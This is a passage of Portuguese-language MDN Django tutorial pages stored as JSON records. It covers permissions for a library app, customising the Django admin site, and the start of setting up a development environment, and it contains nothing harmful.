anteriormente para os objetos `Book` e `Author`. A única coisa \"nova\" aqui é que verificamos o método que adicionamos no modelo `(bookinst.is_overdue`) e use-o para alterar a cor dos itens em atraso.\n\nQuando o servidor de desenvolvimento estiver em execução, agora você poderá visualizar a lista de um usuário conectado no seu navegador em `http://127.0.0.1:8000/catalog/mybooks/`. Experimente isso com o usuário conectado e desconectado (no segundo caso, você deve ser redirecionado para a página de login).\n\n### Adicione a lista à barra lateral\n\nO último passo é adicionar um link para esta nova página na barra lateral. Colocaremos isso na mesma seção em que exibimos outras informações para o usuário conectado.\n\nAbra o template base (**/locallibrary/catalog/templates/base\\_generic.html**) e adicione a linha em negrito à barra lateral, como mostrado.\n\n\n```python\n <ul class=\"sidebar-nav\">\n   {% if user.is_authenticated %}\n   <li>User: {{ user.get_username }}</li>\n   <li><a href=\"{% url 'my-borrowed' %}\">My Borrowed</a></li>\n   <li><a href=\"{% url 'logout'%}?next={{request.path}}\">Logout</a></li>\n   {% else %}\n   <li><a href=\"{% url 'login'%}?next={{request.path}}\">Login</a></li>\n   {% endif %}\n </ul>\n```\n\n### Com o que se parece?\n\nQuando qualquer usuário estiver conectado, ele verá o link *My Borrowed* na barra lateral e a lista de livros exibida abaixo (o primeiro livro não tem data de vencimento, que é um bug que esperamos corrigir em um tutorial posterior!) .\n\n![Library - borrowed books by user](/pt-BR/docs/Learn/Server-side/Django/Authentication/library_borrowed_by_user.png)\n\nPermissões\n----------\n\nAs permissões são associadas aos modelos e definem as operações que podem ser executadas em uma instância de modelo por um usuário que possui a permissão. Por padrão, o Django automaticamente fornece permissões de adição, alteração e exclusão para todos os modelos, o que permite que usuários com permissões executem as ações associadas através do site de administração. Você pode definir suas próprias permissões para modelos e concedê-las a usuários específicos. Você também pode alterar as permissões associadas a diferentes instâncias do mesmo modelo.\n\nTestar permissões nas views e templates é muito semelhante ao teste no status de autenticação (e, na verdade, testar uma permissão também testa a autenticação).\n\n### Models\n\nA definição de permissões é feita na seção \"`class Meta`\" do modelo, usando o campo `permissions`. Você pode especificar quantas permissões você precisar em uma tupla, cada permissão sendo definida em uma tupla aninhada que contém o nome da permissão e o valor de exibição da permissão. Por exemplo, podemos definir uma permissão para permitir que um usuário marque que um livro foi retornado como mostrado:\n\n\n```python\nclass BookInstance(models.Model):\n    ...\n    class Meta:\n        ...\n        permissions = ((\"can\\_mark\\_returned\", \"Set book as returned\"),)\n```\n\n\nPoderíamos então atribuir a permissão a um grupo \"Librarian\" no site do administrador.\n\nAbra **catalog/models.py**, e adicione a permissão como mostrado acima. Você ira precisar atualizar seus *migrations* (execute `python3 manage.py makemigrations` e `python3 manage.py migrate`) para atualizar o banco de dados apropriadamente.\n\n### Templates\n\nAs permissões do usuário atual são armazenadas em uma variável de modelo chamada `{{ perms }}`. Você pode verificar se o usuário atual tem uma permissão específica usando o nome da variável específica no \"aplicativo\" associado ao Django — e.g. `{{ perms.catalog.can_mark_returned }}` será `True` se o usuário tiver essa permissão, caso contrário, `False`. Normalmente testamos a permissão usando a template tag `{% if %}` como mostrado:\n\n\n```python\n{% if perms.catalog.can_mark_returned %}\n    <!-- We can mark a BookInstance as returned. -->\n    <!-- Perhaps add code to link to a \"book return\" view here. -->\n{% endif %}\n```\n\n### Views\n\nAs permissões podem ser testadas na exibição de funções usando o decorator `permission_required` ou em uma view baseada em classe usando o `PermissionRequiredMixin`. O padrão e o comportamento são os mesmos da autenticação de login, embora, é claro, você possa razoavelmente precisar adicionar várias permissões.\n\nFunção view decorator:\n\n\n```python\nfrom django.contrib.auth.decorators import permission_required\n\n@permission\\_required('catalog.can\\_mark\\_returned')\n@permission\\_required('catalog.can\\_edit')\ndef my\\_view(request):\n    ...\n```\n\n\nUm permission-required mixin para class-based views.\n\n\n```python\nfrom django.contrib.auth.mixins import PermissionRequiredMixin\n\nclass MyView(PermissionRequiredMixin, View):\n    permission_required = 'catalog.can\\_mark\\_returned'\n    # Or multiple permissions\n    permission_required = ('catalog.can\\_mark\\_returned', 'catalog.can\\_edit')\n    # Note that 'catalog.can\\_edit' is just an example\n    # the catalog application doesn't have such permission!\n```\n\n### Exemplo\n\nNão atualizaremos a *LocalLibrary* aqui; talvez no próximo tutorial!\n\nDesafie-se\n----------\n\nNo início deste artigo, mostramos como criar uma página para o usuário atual, listando os livros emprestados. O desafio agora é criar uma página semelhante que seja visível apenas para bibliotecários, que exiba *todos* os livros que foram emprestados e que inclua o nome de cada mutuário.\n\nVocê deve seguir o mesmo padrão da outra view. A principal diferença é que você precisará restringir a visualização apenas a bibliotecários. Você pode fazer isso com base no fato de o usuário ser um membro da equipe (decorator da função: `staff_member_required`, variável do template: `user.is_staff`) mas recomendamos que você use a permissão `can_mark_returned` e `PermissionRequiredMixin`, conforme descrito na seção anterior.\n\n**Aviso:** **Importante**: Lembre-se de não usar seu superusuário para testes baseados em permissões (as verificações de permissão sempre retornam verdadeiras para os superusuários, mesmo que uma permissão ainda não tenha sido definida!). Em vez disso, crie um usuário bibliotecário e adicione o recurso necessário.\n\nQuando terminar, sua página será semelhante à captura de tela abaixo.\n\n![All borrowed books, restricted to librarian](/pt-BR/docs/Learn/Server-side/Django/Authentication/library_borrowed_all.png)\n\nResumo\n------\n\nExcelente trabalho — Você criou um site no qual os membros da biblioteca podem fazer login e ver seu próprio conteúdo e que os bibliotecários (com as permissões corretas) podem usar para visualizar todos os livros emprestados e seus devedores. No momento, ainda estamos apenas visualizando conteúdo, mas os mesmos princípios e técnicas são usadas quando você deseja começar a modificar e adicionar dados.\n\nEm nosso próximo artigo, veremos como você pode usar os formulários Django para coletar entradas do usuário, e então começar a modificar alguns dos nossos dados armazenados.\n\nVeja também\n-----------\n\n* Autenticação de usuário no Django (Django docs)\n* Usando o sistema (default) de Autenticação do Django (Django docs)\n* Introdução a views baseadas em classe > Decorating class-based views (Django docs)\n* Anterior\n* Menu: Django\n* Próxima"}
{"title":"Tutorial Django Parte 4: Django admin site - Aprendendo desenvolvimento web","text":"Tutorial Django Parte 4: Django admin site\n==========================================\n\n* Anterior\n* Menu: Django\n* Próxima\n\nAgora que criamos modelos para o site da LocalLibrary, usaremos o site do Django Admin para adicionar alguns dados de livros \"reais\". Primeiro, mostraremos como registrar os modelos no site de administração, depois mostraremos como fazer login e criar alguns dados. No final do artigo, mostraremos algumas maneiras de melhorar ainda mais a apresentação do site Admin.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Primeiro complete:\n Tutorial Django Parte 3: Usando modelos.\n  |\n| Objetivo: | \n Para entender os benefícios e limitações do site de administração do\n Django, use-o para criar alguns registros para nossos modelos.\n  |\n\nVisão Geral\n-----------\n\nO aplicativo de administração do Django pode usar seus modelos para criar automaticamente uma área de site que você possa usar para criar, visualizar, atualizar e excluir registros. Isso pode poupar muito tempo durante o desenvolvimento, tornando muito fácil testar seus modelos e ter uma ideia de se você tem os dados corretos. O aplicativo administrativo também pode ser útil para gerenciar dados em produção, dependendo do tipo de site. O projeto Django o recomenda apenas para gerenciamento interno de dados (ou seja, apenas para uso por administradores ou pessoas internas à sua organização), pois a abordagem centrada no modelo não é necessariamente a melhor interface possível para todos os usuários e expõe muitos detalhes desnecessários sobre os modelos.\n\nToda a configuração necessária para incluir o aplicativo admin em seu site foi feita automaticamente quando você criou o esqueleto do projeto (para obter informações sobre as dependências reais necessárias, consulte a documentação do Django aqui). Como resultado, tudo o que você precisa fazer para adicionar seus modelos ao aplicativo administrativo é registrá-los. No final deste artigo, forneceremos uma breve demonstração de como você pode configurar ainda mais a área de administração para exibir melhor nossos dados de modelo.\n\nDepois de registrar os modelos, mostraremos como criar um novo \"superusuário\", acessar o site e criar alguns livros, autores, instâncias de livros e gêneros. Isso será útil para testar as visualizações e os modelos que começaremos a criar no próximo tutorial.\n\nRegistrando modelos\n-------------------\n\nPrimeiro, abra o admin.py no aplicativo de catálogo (/locallibrary/catalog/admin.py). Atualmente parece com isso - note que ele já importa `django.contrib.admin`:\n\n\n```python\nfrom django.contrib import admin\n\n# Register your models here.\n```\n\n\nRegistre os modelos copiando o seguinte texto na parte inferior do arquivo. Este código simplesmente importa os modelos e, em seguida, chama `admin.site.register` para registrar cada um deles.\n\n\n```python\nfrom catalog.models import Author, Genre, Book, BookInstance\n\nadmin.site.register(Book)\nadmin.site.register(Author)\nadmin.site.register(Genre)\nadmin.site.register(BookInstance)\n```\n\n\n**Nota:** Nota: Se você aceitou o desafio de criar um modelo para representar a linguagem natural de um livro (consulte o artigo do tutorial de modelos), importe-o e registre-o também!\n\nEssa é a maneira mais simples de registrar um modelo ou modelos no site. O site de administração é altamente personalizável e falaremos mais sobre as outras maneiras de registrar seus modelos mais abaixo.\n\nCriando um super usuário\n------------------------\n\nPara fazer login no site de administração, precisamos de uma conta de usuário com o status da equipe ativado. Para visualizar e criar registros, também precisamos que esse usuário tenha permissões para gerenciar todos os nossos objetos. Você pode criar uma conta \"superusuário\" que tenha acesso total ao site e todas as permissões necessárias usando **manage.py**.\n\nChame o seguinte comando, no mesmo diretório que manage.py, para criar o superusuário. Você será solicitado a digitar um nome de usuário, endereço de e-mail e senha forte.\n\n\n```bash\npython3 manage.py createsuperuser\n```\n\n\nQuando esse comando for concluído, um novo superusuário será adicionado ao banco de dados. Agora reinicie o servidor de desenvolvimento para que possamos testar o login:\n\n\n```bash\npython3 manage.py runserver\n```\n\nFazendo o login e usando o site\n-------------------------------\n\nPara fazer login no site, abra o URL /*admin* (e.g. http://127.0.0.1:8000/admin) e insira suas novas credenciais de usuário e senha de superusuário (você será redirecionado para a página de login e, em seguida, de volta para o URL /*admin* depois de inserir seus detalhes).\n\nEsta parte do site exibe todos os nossos modelos, agrupados por aplicativo instalado. Você pode clicar no nome de um modelo para ir a uma tela que lista todos os seus registros associados e clicar nos registros para editá-los. Você também pode clicar diretamente no link Adicionar ao lado de cada modelo para começar a criar um registro desse tipo.\n\n![Admin Site - Home page](/pt-BR/docs/Learn/Server-side/Django/Admin_site/admin_home.png)\n\nClique no link Adicionar à direita de Books para criar um novo livro (isso exibirá um diálogo muito parecido com o abaixo). Observe como os títulos de cada campo, o tipo de widget usado e o `help_text` (se houver) correspondem aos valores especificados no modelo.\n\nDigite valores para os campos. Você pode criar novos autores ou gêneros pressionando o botão + ao lado dos respectivos campos (ou selecione os valores existentes nas listas, se você já os criou). Quando estiver pronto, você pode pressionar **SALVAR, Salvar** **e adicionar** outro ou S**alvar e continuar editando** para salvar o registro.\n\n![Admin Site - Book Add](/pt-BR/docs/Learn/Server-side/Django/Admin_site/admin_book_add.png)\n\n**Nota:** Observação: neste ponto, gostaríamos que você passasse algum tempo adicionando alguns livros, autores e gêneros (por exemplo, Fantasia) à sua inscrição. Certifique-se de que cada autor e gênero inclua alguns livros diferentes (isso tornará suas visualizações de lista e detalhes mais interessantes quando forem implementadas posteriormente na série de artigos).\n\nQuando terminar de adicionar livros, clique no link **Home** no marcador superior para ser levado de volta à página principal do administrador. Então clique no link **Books** para exibir a lista atual de livros (ou em um dos outros links para ver outras listas de modelos). Agora que você adicionou alguns livros, a lista pode ser semelhante à captura de tela abaixo. O título de cada livro é exibido; este é o valor retornado no modelo do livro pelo método `__str__()` que especificamos no último artigo.\n\n![Admin Site - List of book objects](/pt-BR/docs/Learn/Server-side/Django/Admin_site/admin_book_list.png)\n\nNessa lista, você pode excluir livros marcando a caixa de seleção ao lado do livro que não deseja, selecionando a ação excluir ... na lista suspensa Ação e pressionando o botão Ir. Você também pode adicionar novos livros pressionando o botão **ADD BOOK**.\n\nVocê pode editar um livro selecionando seu nome no link. A página de edição de um livro, mostrada abaixo, é quase idêntica à página \"Adicionar\". As principais diferenças são o título da página (Change book) e a adição de botões **Delete**, **HISTORY** e **VIEW ON SITE** (este último botão aparece porque definimos o método `get_absolute_url()` em nosso modelo).\n\n![Admin Site - Book Edit](/pt-BR/docs/Learn/Server-side/Django/Admin_site/admin_book_modify.png)\n\nAgora navegue de volta para o **Home** page (usando o link Home, a trilha de navegação) e, em seguida, **Author** e listas de **Genre** — você já deve ter criado a partir de quando adicionou os novos livros, mas fique à vontade para adicionar um pouco mais.\n\nO que você não terá é qualquer instância do livro, porque elas não são criadas a partir de livros (embora você possa criar `Book` a partir de `BookInstance` — esta é a natureza da `ForeignKey` field). Navegue de volta para a *Página inicial* e pressione o botão *Adicionar* associado para exibir a tela *Adicionar instância* do livro abaixo. Observe o ID grande e globalmente exclusivo, que pode ser usado para identificar separadamente uma única cópia de um livro na biblioteca.\n\n![Admin Site - BookInstance Add](/pt-BR/docs/Learn/Server-side/Django/Admin_site/admin_bookinstance_add.png)\n\nCrie vários desses registros para cada um de seus livros. Defina o status como *Disponível* para pelo menos alguns registros e *Em empréstimo* para outros. Se o status **não** for *Disponível*, defina também uma *data de vencimento* futura.\n\nÉ isso aí! Agora você aprendeu como configurar e usar o site de administração. Você também criou registros para `Book`, `BookInstance`, `Genre`, e `Author` que poderemos usar assim que criarmos nossas próprias visualizações e modelos.\n\nConfiguração Avançada\n---------------------\n\nO Django faz um bom trabalho ao criar um site de administração básico usando as informações dos modelos registrados:\n\n* Cada modelo possui uma lista de registros individuais, identificados pela string criada com o método `__str__()` do modelo, e vinculado a visualizações de views/forms para edição. Por padrão, essa exibição tem um menu de ação na parte superior que você pode usar para executar operações de exclusão em massa nos registros.\n* Os formulários de registro de detalhes do modelo para edição e adição de registros contêm todos os campos do modelo, dispostos verticalmente em sua ordem de declaração.\n\nVocê pode personalizar ainda mais a interface para torná-la ainda mais fácil de usar. Algumas das coisas que você pode fazer são:\n\n* List views:\n    + Adicionar adicional fields/information exibido para cada registro.\n    + Adicione filtros para selecionar quais registros são listados, com base na data ou em algum outro valor de seleção (e.g. Book loan status).\n    + Adicione opções adicionais ao menu de ações nas exibições de lista e escolha onde esse menu é exibido no formulário.\n* Detail views\n    + Escolha quais campos exibir (ou excluir), junto com sua ordem, agrupamento, se eles são editáveis, o widget usado, a orientação etc.\n    + Adicione campos relacionados a um registro para permitir a edição imediata (por exemplo, adicione a capacidade de adicionar e editar registros de livros enquanto cria o registro de autor).\n\nIn this section we're going to look at a few changes that will improve the interface for our *LocalLibrary*, including adding more information to `Book` and `Author` model lists, and improving the layout of their edit views. We won't change the `Language` and `Genre` model presentation because they only have one field each, so there is no real benefit in doing so!\n\nYou can find a complete reference of all the admin site customisation choices in The Django Admin site (Django Docs).\n\n### Registrando uma classe ModelAdmin\n\nPara alterar como um modelo é exibido na interface de administração, você define uma classe ModelAdmin (que descreve o layout) e registra-o no modelo.\n\nVamos começar com o `Author` model. Abra **admin.py** no aplicativo de catálogo (/locallibrary/catalog/admin.py). Comente o seu registro original (prefixo com um #) para o `Author` model:\n\n\n```js\n# admin.site.register(Author)\n```\n\n\nAgora adicione um novo `AuthorAdmin` e registre como mostrado abaixo.\n\n\n```python\n# Define the admin class\nclass AuthorAdmin(admin.ModelAdmin):\n    pass\n\n# Register the admin class with the associated model\nadmin.site.register(Author, AuthorAdmin)\n```\n\n\nAgora vamos adicionar as classes `ModelAdmin` para `Book`, e `BookInstance`. Precisamos novamente comentar os registros originais:\n\n\n```js\n# admin.site.register(Book)\n# admin.site.register(BookInstance)\n```\n\n\nAgora, para criar e registrar os novos modelos; para o propósito desta demonstração, vamos usar o `@register` decorador para registrar os modelos (isso faz exatamente a mesma coisa que `admin.site.register()` sintaxe):\n\n\n```python\n# Register the Admin classes for Book using the decorator\n@admin.register(Book)\nclass BookAdmin(admin.ModelAdmin):\n    pass\n\n# Register the Admin classes for BookInstance using the decorator\n@admin.register(BookInstance)\nclass BookInstanceAdmin(admin.ModelAdmin):\n    pass\n```\n\n\nAtualmente todas as nossas classes administrativas estão vazias (veja `pass`) então o comportamento do administrador não será alterado! Agora podemos estendê-los para definir nosso comportamento administrativo específico do modelo.\n\n### Configure list views\n\nA LocalLibrary atualmente lista todos os autores usando o nome do objeto gerado a partir do método `__str__()` do modelo. Isso é bom quando você tem apenas alguns autores, mas quando você tem muitos, você pode acabar tendo duplicatas. Para diferenciá-los, ou apenas porque você quer mostrar informações mais interessantes sobre cada autor, você pode usar list\\_display para adicionar campos adicionais à vista.\n\nSubstitua seu`AuthorAdmin` class com o código abaixo. Os nomes de campo a serem exibidos na lista são declarados em uma *tupla* na ordem requerida, conforme mostrado (esses são os mesmos nomes especificados em seu modelo original).\n\n\n```python\nclass AuthorAdmin(admin.ModelAdmin):\n    list_display = ('last\\_name', 'first\\_name', 'date\\_of\\_birth', 'date\\_of\\_death')\n```\n\n\nAgora navegue até a lista de autores em seu site. Os campos acima devem agora ser exibidos, assim:\n\n![Admin Site - Improved Author List](/pt-BR/docs/Learn/Server-side/Django/Admin_site/admin_improved_author_list.png)\n\nPara o nosso `Book` model nós vamos adicionalmente exibir o `author` e `genre`. O `author` é uma variável `ForeignKey` (um-para-um) relacionamento, e assim será representado pelo valor `__str__()` para o registro associado. Substitua o `BookAdmin` class com a versão abaixo.\n\n\n```python\nclass BookAdmin(admin.ModelAdmin):\n    list_display = ('title', 'author', 'display\\_genre')\n```\n\n\nInfelizmente não podemos especificar diretamente a variável genre na `list_display` porque é um `ManyToManyField`(O Django evita isso porque há um grande \"custo\" de acesso ao banco de dados ao fazer isso). Em vez disso, vamos definir uma função `display_genre` para obter as informações como uma string (esta é a função que chamamos acima; vamos defini-lo abaixo).\n\n**Nota:** Nota: Obtendo o `genre` pode não ser uma boa ideia aqui, por causa do \"custo\" da operação do banco de dados. Estamos mostrando como as funções de chamada em seus modelos podem ser muito úteis por outros motivos - por exemplo, para adicionar um link *Apagar* ao lado de cada item da lista.\n\nAdicione o seguinte código ao seu `Book` model (**models.py**). Isso cria uma string a partir dos três primeiros valores da variavel `genre` (se existirem) e cria um `short_description` que pode ser usado no site administrativo para esse método.\n\n\n```python\n    def display\\_genre(self):\n        \"\"\"Create a string for the Genre. This is required to display genre in Admin.\"\"\"\n        return ', '.join(genre.name for genre in self.genre.all()[:3])\n\n    display_genre.short_description = 'Genre'\n```\n\n\nDepois de salvar o modelo e o administrador atualizado, abra o site e vá para a página da lista Livros; você deve ver uma lista de livros como a abaixo:\n\n![Admin Site - Improved Book List](/pt-BR/docs/Learn/Server-side/Django/Admin_site/admin_improved_book_list.png)\n\nO `Genre` model (e a `Language` model, se você definiu um) ambos têm um único campo, portanto, não faz sentido criar um modelo adicional para exibir campos adicionais.\n\n**Nota:** Nota: Vale a pena atualizar o`BookInstance` model list para mostrar pelo menos o status e a data de retorno esperada. Nós adicionamos isso como um desafio no final deste artigo!\n\n### Adicionando list filters\n\nUma vez que você tenha muitos itens em uma lista, pode ser útil filtrar quais itens são exibidos. Isso é feito listando os campos no atributo `list_filter`. Substitua sua atual `BookInstanceAdmin` class com o fragmento de código abaixo.\n\n\n```python\nclass BookInstanceAdmin(admin.ModelAdmin):\n    list_filter = ('status', 'due\\_back')\n```\n\n\nA visualização de lista agora incluirá uma caixa de filtro à direita. Observe como você pode escolher datas e status para filtrar os valores:\n\n![Admin Site - BookInstance List Filters](/pt-BR/docs/Learn/Server-side/Django/Admin_site/admin_improved_bookinstance_list_filters.png)\n\n### Organizando o layout da detail view\n\nPor padrão, as exibições detalhadas exibem todos os campos verticalmente, em sua ordem de declaração no modelo. Você pode alterar a ordem da declaração, quais campos são exibidos (ou excluídos), se as seções são usadas para organizar as informações, se os campos são exibidos horizontalmente ou verticalmente e até mesmo quais widgets de edição são usados nos formulários admin.\n\n**Nota:** Nota: Os modelos *LocalLibrary* são relativamente simples, portanto não é necessário alterar o layout; No entanto, faremos algumas alterações, só para mostrar como.\n\n#### Controlando quais campos são exibidos\n\nAtualize seu `AuthorAdmin` class para adicionar a linha `fields`, como mostrado abaixo (em negrito):\n\n\n```python\nclass AuthorAdmin(admin.ModelAdmin):\n    list_display = ('last\\_name', 'first\\_name', 'date\\_of\\_birth', 'date\\_of\\_death')\n    fields = ['first\\_name', 'last\\_name', ('date\\_of\\_birth', 'date\\_of\\_death')]\n```\n\n\nO atributo `fields` lista apenas os campos que devem ser exibidos no formulário, em ordem. Os campos são exibidos verticalmente por padrão, mas serão exibidos horizontalmente se você agrupá-los posteriormente em uma tupla (conforme mostrado nos campos \"data\" acima).\n\nNo seu site, acesse a visualização de detalhes do autor. Agora, ele deve aparecer como mostrado abaixo:\n\n![Admin Site - Improved Author Detail](/pt-BR/docs/Learn/Server-side/Django/Admin_site/admin_improved_author_detail.png)\n\n**Nota:** Nota: você também pode usar o atributo `exclude` para declarar uma lista de atributos a serem excluídos do formulário (todos os outros atributos no modelo serão exibidos).\n\n#### Seccionando a detail view\n\nVocê pode adicionar \"seções\" para agrupar informações de modelo relacionadas dentro do formulário detalhado, usando o atributo fieldsets.\n\nNa `BookInstance` model temos informações relacionadas ao que o livro é (i.e. `name`, `imprint`, e `id`) e quando estará disponível (`status`, `due_back`). Podemos adicionar estes em diferentes seções, adicionando o texto em negrito para o nosso `BookInstanceAdmin` class.\n\n\n```python\n@admin.register(BookInstance)\nclass BookInstanceAdmin(admin.ModelAdmin):\n    list_filter = ('status', 'due\\_back')\n\n    fieldsets = (\n        (None, {\n            'fields': ('book', 'imprint', 'id')\n        }),\n        ('Availability', {\n            'fields': ('status', 'due\\_back')\n        }),\n    )\n```\n\n\nCada seção tem seu próprio título (ou `None`,se você não quiser um título) e uma tupla associada de campos em um dicionário - o formato é complicado de descrever, mas bastante fácil de entender se você olhar o fragmento de código imediatamente acima.\n\nAgora, navegue até uma visualização de instância do livro em seu website; o formulário deve aparecer como mostrado abaixo:\n\n![Admin Site - Improved BookInstance Detail with sections](/pt-BR/docs/Learn/Server-side/Django/Admin_site/admin_improved_bookinstance_detail_sections.png)\n\n### Edição inline de registros associados\n\nÀs vezes, pode fazer sentido adicionar registros associados ao mesmo tempo. Por exemplo, pode fazer sentido ter as informações do livro e as informações sobre as cópias específicas que você tem na mesma página de detalhes.\n\nVocê pode fazer isso declarando inlines, do tipo TabularInline (horizonal layout) or StackedInline (layout vertical, assim como o layout do modelo padrão). Você pode adicionar ao `BookInstance` informações inline para o nosso `Book` detalhe, adicionando as linhas abaixo em negrito perto do seu `BookAdmin`:\n\n\n```python\nclass BooksInstanceInline(admin.TabularInline):\n    model = BookInstance\n\n@admin.register(Book)\nclass BookAdmin(admin.ModelAdmin):\n    list_display = ('title', 'author', 'display\\_genre')\n    inlines = [BooksInstanceInline]\n```\n\n\nAgora navegue até uma view pala um `Book` no seu site - na parte inferior, você verá as instâncias do livro relacionadas a este livro (imediatamente abaixo dos campos de gênero do livro):\n\n![Admin Site - Book with Inlines](/pt-BR/docs/Learn/Server-side/Django/Admin_site/admin_improved_book_detail_inlines.png)\n\nNesse caso, tudo o que fizemos foi declarar nossa classe inline tabular, que apenas adiciona todos os campos do modelo embutido. Você pode especificar todos os tipos de informações adicionais para o layout, incluindo os campos a serem exibidos, sua ordem, se eles são somente leitura ou não, etc. (veja TabularInline para maiores informações).\n\n**Nota:** Nota: Existem alguns limites dolorosos nesta funcionalidade! Na captura de tela acima, temos três instâncias de livros existentes, seguidas de três espaços reservados para novas instâncias de livros (que são muito semelhantes!). Seria melhor não ter instâncias do livro reserva por padrão e apenas adicioná-las com o link **Add another Book instance** , ou poder listar apenas `BookInstance`s como links não legíveis daqui. A primeira opção pode ser feita configurando atributo `extra` para 0 no `BooksInstanceInline` model, tente você mesmo.\n\nDesafie-se\n----------\n\nAprendemos muito nesta seção, então agora é hora de você tentar algumas coisas.\n\n1. Para a *listview* `BookInstance`, adicione o código para exibir o livro, o status, a data de devolução e o id (em vez do texto padrão `__str__()`).\n2. Adicione uma listagem *inline* de itens `Book` para a lista detalhada de `Author` usando a mesma abordagem que fizemos para `Book`/`BookInstance`.\nResumo\n------\n\nÉ isso aí! Agora você aprendeu como configurar o site de administração na sua forma simples e aprimorada, como criar um superusuário, como navegar no site de administração e visualizar, excluir e atualizar registros. Ao longo do caminho você criou um monte de Livros, Instâncias de livros, Gêneros e Autores que poderemos listar e exibir assim que criarmos nossas próprias *views* e *templates*.\n\nLeitura adicional\n-----------------\n\n* Escrevendo seu primeiro app Django, parte 2: Apresentando o Django Admin (Django docs)\n* O Django Admin site (Django Docs)\n* Anterior\n* Menu: Django\n* Próxima"}
{"title":"Configurando um ambiente de desenvolvimento Django - Aprendendo desenvolvimento web","text":"Configurando um ambiente de desenvolvimento Django\n==================================================\n\n* Anterior\n* Menu: Django\n* Próxima\n\nAgora que você sabe para que serve o Django, nós iremos te mostrar como instalar, configurar e testar um ambiente de desenvolvimento no Windows, Linux (Ubuntu), e macOS - seja qual for o sistema operacional (SO) que você usar, este artigo deve fornecê-lo o suficiente para conseguir começar a desenvolver aplicativos Django.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Saber como usar um teminal / linha de comando. Saber instalar softwares\n em seu sistema operacional.\n  |\n| Objetivo: | \n Ter uma ambiente de desenvolvimento Django (2.0) operando em seu\n computador.\n  |\n\nVisão geral do ambiente de desenvolvimento Django\n-------------------------------------------------\n\nDjango facilita muito a configuração em seu computador para iniciar logo o desenvolvimento de aplicações web. Essa seção explica o que você ganha com o ambiente de desenvolvimento e fornece um plano geral de algumas opções de instalação e configuração. O resto do artigo explica o método *recomendado* de instalar o ambiente Django no Ubuntu, macOS e Windows e como testar.\n\n### O que é o ambiente de desenvolvimento Django?\n\nO ambiente de desenvolvimento é uma instalação do Django em seu computador local para que você use-o para desenvolver e testar apps Django antes de implementá-los em um ambiente de produção\n\nA principal ferramenta que Django fornece é um conjunto de scripts Python para criar e trabalhar com projetos Django, junto com um simples *webserver de desenvolvimento* que você pode usar para testar localmente (i.e. no seu computador, não em um web server externo) aplicações web Django no seu navegador.\n\nExistem outras ferramentas secundárias que fazem parte do ambiente de desenvolvimento que não cobriremos aqui. Isso inclui coisas como um editor de texto (en-US) ou IDE para edição de código, e uma ferramenta pra gerenciamento do controle de origem de códigos (como o Git) para administrar com segurança as diferentes versões de seu sistema. Nós estamos assumindo que você já tem um editor de texto instalado.\n\n### Quais são as opções de instalação do Django?\n\nDjango é extremamente flexível em termos de como e onde ele pode ser instalado e configurado. Django pode:\n\n* Ser instalado em diferentes sistemas operacionais.\n* Ser instalado pelo código-fonte, pelo Python Package Index (PyPi) e, em muitos casos, pelo aplicativo gerenciador de pacotes do computador host.\n* Ser configurado para uso de um dos vários bancos de dados, que também podem ser instalados e configurados separadamente.\n* Operar no ambiente principal do sistema Python ou em ambientes virtuais Python, separadamente.\n\nCada opção requer leves diferenças de configuração e instalação. As subseções abaixo explicam algumas de suas escolhas. No resto do artigo nós iremos mostrar como instalar o Django em um pequeno número de sistemas operacionais. No resto do módulo, assumiremos que você tenha instalado o Django em sua máquina.\n\n**Nota:** Outras possíveis opções de instalação são cobertas pela documentação oficial do Django. Nós linkamos os documents adequados abaixo.\n\n#### Quais sistemas operacionais suportam Django?\n\nAplicações web Django podem rodar em quase todas as maquinas que suportam a linguagem de programação Python 3. Windows, macOS, Linux/Unix e Solaris são alguns desses SO's. A maioria dos computadores atuais devem ter o desempenho necessário para operar Django.\n\nNeste artigo, iremos fornecer instruções para Windows, macOS a Linux/Unix.\n\n#### Qual versão de Python deve ser usada?\n\nNós recomendamos que use a mais recente versão disponível — no momento que escrevo é Python 3.7.1.\n\nSe necessário, versões a partir de Python 3.5 podem ser usadas (o suporte para Python 3.5 irá acabar em versões futuras).\n\n**Nota:** Python 2.7 não pode ser usado com Django 2.1 (A série Django 1.11.x é a última que suporta Python 2.7).\n\n#### Onde posso baixar o Django?\n\nExistem três lugares para fazer o download do Django:\n\n* Python Package Repository (PyPi), usando o comando *pip*. Esta é a melhor forma de conseguir a última versão estável do Django.\n* A partir de uma versão do gerenciador de pacotes de seu computador. Distribuições de Django que são empacotadas com o sistema operacional oferecem uma \"instalação familiar\". Contudo, note que a versão disponível pode ser um pouco antiga, e que pode ser instalada apenas dentro do sistema ambiente do Python (podendo ser algo que você não queira).\n* Instalar pelo código-fonte. Você pode pegar a última versão acessível do código do Django e instalar no seu computador. Não é recomendado aos iniciantes, mas é necessário quando você se sentir pronto para contribuir com o Django.\n\nEste artigo mostra a instalação pelo Pypi, pois queremos a última versão estável do Django.\n\n#### Qual banco de dados?\n\nDjango suporta (principalmente) quatro bancos de dados (PostgreSQL, MySQL, Oracle, e SQLite ), contudo, existem bibliotecas community que fornecem níveis variados de suporte para outros populares bancos de dados SQL e NoSQL. Nós recomendamos que você use o mesmo banco de dados tanto para produção quanto para desenvolvimento (embora o Django abstraia muitas das diferenças dos bancos de dados usando seu Object-Relational Mapper (ORM), ainda há problemas em potencial que é melhor evitar).\n\nNeste artigo (e na maior parte deste módulo) nós usaremos o banco de Dados *SQLite*, que armazena dados em um arquivo. SQLite é destinado para uso sendo um banco de dados leve e que não consegue suportar uma demanda muito alta. Entretanto, uma excelente opção para aplicações de que focam em leitura de dados.\n\n**Nota:** Django é configurado por padrão a usar SQLite ao iniciar seu projeto usando as ferramentas padrão (django-admin). É uma ótima escolha quando você está começando, porque não requer configurações adicionais ou instalações.\n\n#### Instalar em todo o sistema ou em um ambiente virtual Python?\n\nQuando você instala Python 3 você pega um único ambiente global que é compartilhado por todo o código Python 3. Enquanto você pode instalar qualquer pacote Python que quiser no ambiente, você pode instalar apenas uma versão particular de cada pacote por vez.\n\n**Nota:** Aplicações Python instaladas no ambiente global têm forte potêncial de entrar em conflito entre si (i.e. se elas dependem de versões diferentes do mesmo pacote).\n\nSe você instalar Django no ambiente padrão/global você só será capaz de ter uma versão do Django em seu computador. Isto pode ser um problema se você quer criar novos websites (usando a versão mais recente do Django) enquanto ainda realiza manutenção nos websites que dependem das versões antigas.\n\nPensando nisso, desenvolvedores experientes de Python/Django normalmente executam apps Python dentro de um *ambiente virtual Python* independente. Isso permite usar diferentes ambientes Django em um único 